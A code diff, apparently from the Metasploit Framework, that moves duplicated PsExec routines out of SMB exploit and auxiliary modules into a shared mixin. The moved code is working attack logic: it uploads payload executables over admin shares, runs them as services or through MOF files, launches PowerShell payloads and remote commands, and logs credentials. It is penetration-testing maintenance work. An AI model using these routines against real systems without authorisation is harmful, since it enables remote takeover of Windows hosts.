diff --git a/lib/msf/core/exploit/smb/client/psexec.rb b/lib/msf/core/exploit/smb/client/psexec.rb index e03bcfb237..25aced14ba 100644 --- a/lib/msf/core/exploit/smb/client/psexec.rb +++ b/lib/msf/core/exploit/smb/client/psexec.rb @@ -2,6 +2,8 @@ require 'rex/proto/dcerpc/svcctl' require 'windows_error' require 'windows_error/win32' +require 'msf/core/exploit/exe' +require 'msf/core/exploit/wbemexec' include WindowsError::Win32 @@ -20,6 +22,7 @@ module Exploit::Remote::SMB::Client::Psexec include Msf::Exploit::Windows_Constants include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client::Authenticated + include Msf::Exploit::Failure def initialize(info = {}) super @@ -193,6 +196,246 @@ module Exploit::Remote::SMB::Client::Psexec true end -end + def powershell_installed?(smb_share, psh_path) + share = "\\\\#{datastore['RHOST']}\\#{smb_share}" + case smb_share.upcase + when 'ADMIN$' + path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe' + when 'C$' + path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe' + else + path = psh_path + end + + simple.connect(share) + vprint_status("Checking for #{path}") + if smb_file_exist?(path) + vprint_status('PowerShell found') + psh = true + else + vprint_status('PowerShell not found') + psh = false + end + + simple.disconnect(share) + psh + end + + def execute_command(text, bat, cmd) + # Try and execute the provided command + execute = "%COMSPEC% /C echo #{cmd} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}" + vprint_status("Executing the command...") + begin + return psexec(execute) + rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3) + print_error("Unable to execute specified command: #{e}") + return false + end + end + + def execute_command_with_output(text, bat, cmd, smb_share, r_ip, delay, rt) + res = execute_command(text, bat, cmd) + if res + for i in 0..(rt) + Rex.sleep(delay) + # if the output file is still locked then the program is still likely running + if (exclusive_access(text, smb_share, r_ip)) + break + elsif (i == rt) + print_error("Command seems to still be executing. Try increasing RETRY and DELAY") + end + end + output = get_output(text, smb_share, r_ip) + end + + cleanup_after(bat, smb_share, r_ip) + output + end + + def execute_powershell_payload + ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME'] + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) + + if datastore['PSH::persist'] and not datastore['DisablePayloadHandler'] + print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option") + end + + # Execute the powershell command + print_status("Executing the payload...") + begin + psexec(command) + rescue StandardError => exec_command_error + fail_with(Msf::Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}") + end + end + + def native_upload(smb_share) + filename = "#{rand_text_alpha(8)}.exe" + serviceencoder = '' + + # Upload the shellcode to a file + print_status("Uploading payload...") + smbshare = smb_share + fileprefix = "" + # if SHARE = Users/sasha/ or something like this + if smbshare =~ /.[\\\/]/ + subfolder = true + smbshare = smb_share.dup + smbshare = smbshare.gsub(/^[\\\/]/,"") + folder_list = smbshare.split(/[\\\/]/) + smbshare = folder_list[0] + fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1 + simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") + fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct') + else + subfolder = false + simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") + fd = smb_open("\\#{filename}", 'rwct') + end + exe = '' + opts = { :servicename => service_name, :serviceencoder => serviceencoder} + begin + exe = generate_payload_exe_service(opts) + + fd << exe + ensure + fd.close + end + + if subfolder + print_status("Created \\#{fileprefix}\\#{filename}...") + else + print_status("Created \\#{filename}...") + end + + # Disconnect from the share + simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}") + + # define the file location + if smb_share == 'ADMIN$' + file_location = "%SYSTEMROOT%\\#{filename}" + elsif smb_share =~ /^[a-zA-Z]\$$/ + file_location = smb_share.slice(0,1) + ":\\#{filename}" + else + file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}" + end + + psexec(file_location, false) + + unless datastore['SERVICE_PERSIST'] + print_status("Deleting \\#{filename}...") + #This is not really useful but will prevent double \\ on the wire :) + if smb_share =~ /.[\\\/]/ + simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") + begin + simple.delete("\\#{fileprefix}\\#{filename}") + rescue XCEPT::ErrorCode => e + print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}") + end + else + simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") + begin + simple.delete("\\#{filename}") + rescue XCEPT::ErrorCode => e + print_error("Delete of \\#{filename} failed: #{e.message}") + end + end + end + end + + def mof_upload(smb_share) + share = "\\\\#{datastore['RHOST']}\\ADMIN$" + filename = "#{rand_text_alpha(8)}.exe" + + # payload as exe + print_status("Trying wbemexec...") + print_status("Uploading Payload...") + if smb_share != 'ADMIN$' + print_error('Wbem will only work with ADMIN$ share') + return + end + simple.connect(share) + exe = generate_payload_exe + fd = smb_open("\\system32\\#{filename}", 'rwct') + fd << exe + fd.close + print_status("Created %SystemRoot%\\system32\\#{filename}") + + # mof to cause execution of above + mofname = rand_text_alphanumeric(14) + ".MOF" + mof = generate_mof(mofname, filename) + print_status("Uploading MOF...") + fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct') + fd << mof + fd.close + print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}") + + # Disconnect from the ADMIN$ + simple.disconnect(share) + end + + private + # Retrive output from command + def get_output(file, smb_share, r_ip) + print_status("Getting the command output...") + output = smb_read_file(smb_share, r_ip, file) + if output.nil? + print_error("Error getting command output. #{$!.class}. #{$!}.") + return + end + if output.empty? + print_status("Command finished with no output") + return + end + output + end + + # check if our process is done using these files + def exclusive_access(*files, smb_share, r_ip) + begin + simple.connect("\\\\#{r_ip}\\#{smb_share}") + rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror + print_status("Unable to get handle: #{accesserror}") + return false + end + files.each do |file| + begin + print_status("checking if the file is unlocked") + fd = smb_open(file, 'rwo') + fd.close + rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror + print_status("Unable to get handle: #{accesserror}") + return false + end + simple.disconnect("\\\\#{r_ip}\\#{smb_share}") + end + return true + end + + def cleanup_after(*files, smb_share, r_ip) + begin + simple.connect("\\\\#{r_ip}\\#{smb_share}") + rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror + print_error("Unable to connect for cleanup: #{accesserror}. Maybe you'll need to manually remove #{files.join(", " +)} from the target.") + return + end + print_status("Executing cleanup...") + files.each do |file| + begin + smb_file_rm(file) + rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror + print_error("Unable to cleanup #{file}. Error: #{cleanuperror}") + end + end + left = files.collect{ |f| smb_file_exist?(f) } + if left.any? + print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.") + else + print_good("Cleanup was successful") + end + end +end end diff --git a/modules/auxiliary/admin/smb/ms17_010_command.rb b/modules/auxiliary/admin/smb/ms17_010_command.rb index c3634ffa2a..3bedc9ba5e 100644 --- a/modules/auxiliary/admin/smb/ms17_010_command.rb +++ b/modules/auxiliary/admin/smb/ms17_010_command.rb @@ -5,6 +5,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010 + include Msf::Exploit::Remote::SMB::Client::Psexec include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -92,119 +93,18 @@ class MetasploitModule < Msf::Auxiliary @ip = ip # Try and authenticate with given credentials - res = execute_command(text, bat) - - if res - for i in 0..(datastore['RETRY']) - Rex.sleep(datastore['DELAY']) - # if the output file is still locked then the program is still likely running - if (exclusive_access(text)) - break - elsif (i == datastore['RETRY']) - print_error("Command seems to still be executing. Try increasing RETRY and DELAY") - end - end - get_output(text) - end - - cleanup_after(text, bat) - end - - # - # TODO: the rest shamelessly copypasta from auxiliary/admin/smb/psexec_command - # it should probably be mixin'd. I have changed some of vprint/print tho - # => zerosum0x0 - # - - # Executes specified Windows Command - def execute_command(text, bat) - # Try and execute the provided command - execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}" - vprint_status("Executing the command...") - begin - return psexec(execute) - rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => e - elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3) - print_error("Unable to execute specified command: #{e}") - return false - end - end - - # Retrive output from command - def get_output(file) - vprint_status("Getting the command output...") - output = smb_read_file(@smbshare, @ip, file) - if output.nil? - print_error("Error getting command output. #{$!.class}. #{$!}.") - return - end - if output.empty? - print_status("Command finished with no output") - return - end + output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, datastore['RETRY'], datastore['DELAY']) # Report output - vprint_good("Command completed successfuly!") - - # zerosum0x0: this is better with Verbose off in this case - print_status("Output for \"#{datastore['COMMAND']}\":") - print_line("#{output}") - + print_good("Command completed successfuly!") + print_status("Output for \"#{datastore['COMMAND']}\":\n") + print_line("#{output}\n") report_note( :rhost => datastore['RHOSTS'], :rport => datastore['RPORT'], - :type => "psexec_command", + :type => "psexec_command", :name => datastore['COMMAND'], :data => output ) - end - - # check if our process is done using these files - def exclusive_access(*files) - begin - simple.connect("\\\\#{@ip}\\#{@smbshare}") - rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror - print_error("Unable to get handle: #{accesserror}") - return false - end - files.each do |file| - begin - vprint_status("checking if the file is unlocked") - fd = smb_open(file, 'rwo') - fd.close - rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror - print_error("Unable to get handle: #{accesserror}") - return false - end - simple.disconnect("\\\\#{@ip}\\#{@smbshare}") - end - return true - end - - - # Removes files created during execution. - def cleanup_after(*files) - begin - simple.connect("\\\\#{@ip}\\#{@smbshare}") - rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror - print_error("Unable to connect for cleanup: #{accesserror}. Maybe you'll need to manually remove #{files.join(", ")} from the target.") - return - end - vprint_status("Executing cleanup...") - files.each do |file| - begin - smb_file_rm(file) - rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror - print_error("Unable to cleanup #{file}. Error: #{cleanuperror}") - end - end - left = files.collect{ |f| smb_file_exist?(f) } - if left.any? - print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.") - else - print_good("Cleanup was successful") - end - end - end diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 1c02889282..7b08762c04 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -69,112 +69,22 @@ class MetasploitModule < Msf::Auxiliary print_error("Unable to authenticate with given credentials: #{autherror}") return end - res = execute_command(text, bat) + output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, datastore['RETRY'], datastore['DELAY']) - if res - for i in 0..(datastore['RETRY']) - Rex.sleep(datastore['DELAY']) - # if the output file is still locked then the program is still likely running - if (exclusive_access(text)) - break - elsif (i == datastore['RETRY']) - print_error("Command seems to still be executing. Try increasing RETRY and DELAY") - end - end - get_output(text) + unless output.nil? + print_good("Command completed successfuly!") + print_status("Output for \"#{datastore['COMMAND']}\":\n") + print_line("#{output}\n") + report_note( + :rhost => datastore['RHOSTS'], + :rport => datastore['RPORT'], + :type => "psexec_command", + :name => datastore['COMMAND'], + :data => output + ) end - - cleanup_after(text, bat) disconnect end end - # Executes specified Windows Command - def execute_command(text, bat) - # Try and execute the provided command - execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}" - print_status("Executing the command...") - begin - return psexec(execute) - rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => e - elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3) - print_error("Unable to execute specified command: #{e}") - return false - end - end - - # Retrive output from command - def get_output(file) - print_status("Getting the command output...") - output = smb_read_file(@smbshare, @ip, file) - if output.nil? - print_error("Error getting command output. #{$!.class}. #{$!}.") - return - end - if output.empty? - print_status("Command finished with no output") - return - end - - # Report output - print_good("Command completed successfuly!") - vprint_status("Output for \"#{datastore['COMMAND']}\":") - vprint_line("#{output}") - - report_note( - :rhost => datastore['RHOSTS'], - :rport => datastore['RPORT'], - :type => "psexec_command", - :name => datastore['COMMAND'], - :data => output - ) - - end - - # check if our process is done using these files - def exclusive_access(*files) - begin - simple.connect("\\\\#{@ip}\\#{@smbshare}") - rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror - print_status("Unable to get handle: #{accesserror}") - return false - end - files.each do |file| - begin - print_status("checking if the file is unlocked") - fd = smb_open(file, 'rwo') - fd.close - rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror - print_status("Unable to get handle: #{accesserror}") - return false - end - simple.disconnect("\\\\#{@ip}\\#{@smbshare}") - end - return true - end - - - # Removes files created during execution. - def cleanup_after(*files) - begin - simple.connect("\\\\#{@ip}\\#{@smbshare}") - rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror - print_error("Unable to connect for cleanup: #{accesserror}. Maybe you'll need to manually remove #{files.join(", ")} from the target.") - return - end - print_status("Executing cleanup...") - files.each do |file| - begin - smb_file_rm(file) - rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror - print_error("Unable to cleanup #{file}. Error: #{cleanuperror}") - end - end - left = files.collect{ |f| smb_file_exist?(f) } - if left.any? - print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.") - else - print_good("Cleanup was successful") - end - end end diff --git a/modules/exploits/windows/smb/ms17_010_psexec.rb b/modules/exploits/windows/smb/ms17_010_psexec.rb index b84b8f4cdb..1ab272badc 100644 --- a/modules/exploits/windows/smb/ms17_010_psexec.rb +++ b/modules/exploits/windows/smb/ms17_010_psexec.rb @@ -17,6 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010 + include Msf::Exploit::Remote::SMB::Client::Psexec include Msf::Exploit::Powershell include Msf::Exploit::EXE include Msf::Exploit::WbemExec @@ -119,221 +120,21 @@ class MetasploitModule < Msf::Exploit::Remote def smb_pwn() case target.name when 'Automatic' - if powershell_installed? + if powershell_installed?(datastore['SHARE'], datastore['PSH_PATH']) print_status('Selecting PowerShell target') - powershell + execute_powershell_payload else print_status('Selecting native target') - native_upload + native_upload(datastore['SHARE']) end when 'PowerShell' - powershell + execute_powershell_payload when 'Native upload' native_upload when 'MOF upload' - mof_upload + mof_upload(datastore['SHARE']) end handler end - - - # TODO: Again, shamelessly copypasta from the psexec exploit module. Needs to - # be moved into a mixin - - def powershell_installed? - share = "\\\\#{datastore['RHOST']}\\#{datastore['SHARE']}" - - case datastore['SHARE'].upcase - when 'ADMIN$' - path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe' - when 'C$' - path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe' - else - path = datastore['PSH_PATH'] - end - - simple.connect(share) - - vprint_status("Checking for #{path}") - - if smb_file_exist?(path) - vprint_status('PowerShell found') - psh = true - else - vprint_status('PowerShell not found') - psh = false - end - - simple.disconnect(share) - - psh - end - - def powershell - ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME'] - command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) - - if datastore['PSH::persist'] and not datastore['DisablePayloadHandler'] - print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option") - end - - # Execute the powershell command - print_status("Executing the payload...") - begin - psexec(command) - rescue StandardError => exec_command_error - fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}") - end - end - - def native_upload - filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" - servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8) - serviceencoder = datastore['SERVICE_STUB_ENCODER'] || '' - - # Upload the shellcode to a file - print_status("Uploading payload...") - smbshare = datastore['SHARE'] - fileprefix = "" - # if SHARE = Users/sasha/ or something like this - if smbshare =~ /.[\\\/]/ - subfolder = true - smbshare = datastore['SHARE'].dup - smbshare = smbshare.gsub(/^[\\\/]/,"") - folder_list = smbshare.split(/[\\\/]/) - smbshare = folder_list[0] - fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1 - simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") - fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct') - else - subfolder = false - simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") - fd = smb_open("\\#{filename}", 'rwct') - end - exe = '' - opts = { :servicename => servicename, :serviceencoder => serviceencoder} - begin - exe = generate_payload_exe_service(opts) - - fd << exe - ensure - fd.close - end - - if subfolder - print_status("Created \\#{fileprefix}\\#{filename}...") - else - print_status("Created \\#{filename}...") - end - - # Disconnect from the share - simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}") - - # define the file location - if datastore['SHARE'] == 'ADMIN$' - file_location = "%SYSTEMROOT%\\#{filename}" - elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/ - file_location = datastore['SHARE'].slice(0,1) + ":\\#{filename}" - else - file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}" - end - - psexec(file_location, false) - - unless datastore['SERVICE_PERSIST'] - print_status("Deleting \\#{filename}...") - #This is not really useful but will prevent double \\ on the wire :) - if datastore['SHARE'] =~ /.[\\\/]/ - simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") - begin - simple.delete("\\#{fileprefix}\\#{filename}") - rescue XCEPT::ErrorCode => e - print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}") - end - else - simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") - begin - simple.delete("\\#{filename}") - rescue XCEPT::ErrorCode => e - print_error("Delete of \\#{filename} failed: #{e.message}") - end - end - end - end - - def mof_upload - share = "\\\\#{datastore['RHOST']}\\ADMIN$" - filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" - - # payload as exe - print_status("Trying wbemexec...") - print_status("Uploading Payload...") - if datastore['SHARE'] != 'ADMIN$' - print_error('Wbem will only work with ADMIN$ share') - return - end - simple.connect(share) - exe = generate_payload_exe - fd = smb_open("\\system32\\#{filename}", 'rwct') - fd << exe - fd.close - print_status("Created %SystemRoot%\\system32\\#{filename}") - - # mof to cause execution of above - mofname = rand_text_alphanumeric(14) + ".MOF" - mof = generate_mof(mofname, filename) - print_status("Uploading MOF...") - fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct') - fd << mof - fd.close - print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}") - - # Disconnect from the ADMIN$ - simple.disconnect(share) - end - - def report_auth - service_data = { - address: ::Rex::Socket.getaddress(datastore['RHOST'],true), - port: datastore['RPORT'], - service_name: 'smb', - protocol: 'tcp', - workspace_id: myworkspace_id - } - - credential_data = { - origin_type: :service, - module_fullname: self.fullname, - private_data: datastore['SMBPass'], - username: datastore['SMBUser'].downcase - } - - if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP' - credential_data.merge!({ - realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, - realm_value: datastore['SMBDomain'] - }) - end - - if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ - credential_data.merge!({:private_type => :ntlm_hash}) - else - credential_data.merge!({:private_type => :password}) - end - - credential_data.merge!(service_data) - - credential_core = create_credential(credential_data) - - login_data = { - access_level: 'Admin', - core: credential_core, - last_attempted_at: DateTime.now, - status: Metasploit::Model::Login::Status::SUCCESSFUL - } - - login_data.merge!(service_data) - create_credential_login(login_data) - end end diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index a8c0e924fb..3f23eefef5 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -112,177 +112,25 @@ class MetasploitModule < Msf::Exploit::Remote case target.name when 'Automatic' - if powershell_installed? + if powershell_installed?(datastore['SHARE'], datastore['PSH_PATH']) print_status('Selecting PowerShell target') - powershell + execute_powershell_payload else print_status('Selecting native target') - native_upload + native_upload(datastore['SHARE']) end when 'PowerShell' - powershell + execute_powershell_payload when 'Native upload' native_upload when 'MOF upload' - mof_upload + mof_upload(datastore['SHARE']) end handler disconnect end - def powershell_installed? - share = "\\\\#{datastore['RHOST']}\\#{datastore['SHARE']}" - - case datastore['SHARE'].upcase - when 'ADMIN$' - path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe' - when 'C$' - path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe' - else - path = datastore['PSH_PATH'] - end - - simple.connect(share) - - vprint_status("Checking for #{path}") - - if smb_file_exist?(path) - vprint_status('PowerShell found') - psh = true - else - vprint_status('PowerShell not found') - psh = false - end - - simple.disconnect(share) - - psh - end - - def powershell - ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME'] - command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) - - if datastore['PSH::persist'] and not datastore['DisablePayloadHandler'] - print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option") - end - - # Execute the powershell command - print_status("Executing the payload...") - begin - psexec(command) - rescue StandardError => exec_command_error - fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}") - end - end - - def native_upload - filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" - servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8) - serviceencoder = datastore['SERVICE_STUB_ENCODER'] || '' - - # Upload the shellcode to a file - print_status("Uploading payload...") - smbshare = datastore['SHARE'] - fileprefix = "" - # if SHARE = Users/sasha/ or something like this - if smbshare =~ /.[\\\/]/ - subfolder = true - smbshare = datastore['SHARE'].dup - smbshare = smbshare.gsub(/^[\\\/]/,"") - folder_list = smbshare.split(/[\\\/]/) - smbshare = folder_list[0] - fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1 - simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") - fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct') - else - subfolder = false - simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") - fd = smb_open("\\#{filename}", 'rwct') - end - exe = '' - opts = { :servicename => servicename, :serviceencoder => serviceencoder} - begin - exe = generate_payload_exe_service(opts) - - fd << exe - ensure - fd.close - end - - if subfolder - print_status("Created \\#{fileprefix}\\#{filename}...") - else - print_status("Created \\#{filename}...") - end - - # Disconnect from the share - simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}") - - # define the file location - if datastore['SHARE'] == 'ADMIN$' - file_location = "%SYSTEMROOT%\\#{filename}" - elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/ - file_location = datastore['SHARE'].slice(0,1) + ":\\#{filename}" - else - file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}" - end - - psexec(file_location, false) - - unless datastore['SERVICE_PERSIST'] - print_status("Deleting \\#{filename}...") - #This is not really useful but will prevent double \\ on the wire :) - if datastore['SHARE'] =~ /.[\\\/]/ - simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") - begin - simple.delete("\\#{fileprefix}\\#{filename}") - rescue XCEPT::ErrorCode => e - print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}") - end - else - simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") - begin - simple.delete("\\#{filename}") - rescue XCEPT::ErrorCode => e - print_error("Delete of \\#{filename} failed: #{e.message}") - end - end - end - end - - def mof_upload - share = "\\\\#{datastore['RHOST']}\\ADMIN$" - filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" - - # payload as exe - print_status("Trying wbemexec...") - print_status("Uploading Payload...") - if datastore['SHARE'] != 'ADMIN$' - print_error('Wbem will only work with ADMIN$ share') - return - end - simple.connect(share) - exe = generate_payload_exe - fd = smb_open("\\system32\\#{filename}", 'rwct') - fd << exe - fd.close - print_status("Created %SystemRoot%\\system32\\#{filename}") - - # mof to cause execution of above - mofname = rand_text_alphanumeric(14) + ".MOF" - mof = generate_mof(mofname, filename) - print_status("Uploading MOF...") - fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct') - fd << mof - fd.close - print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}") - - # Disconnect from the ADMIN$ - simple.disconnect(share) - end - def report_auth service_data = { address: ::Rex::Socket.getaddress(datastore['RHOST'],true),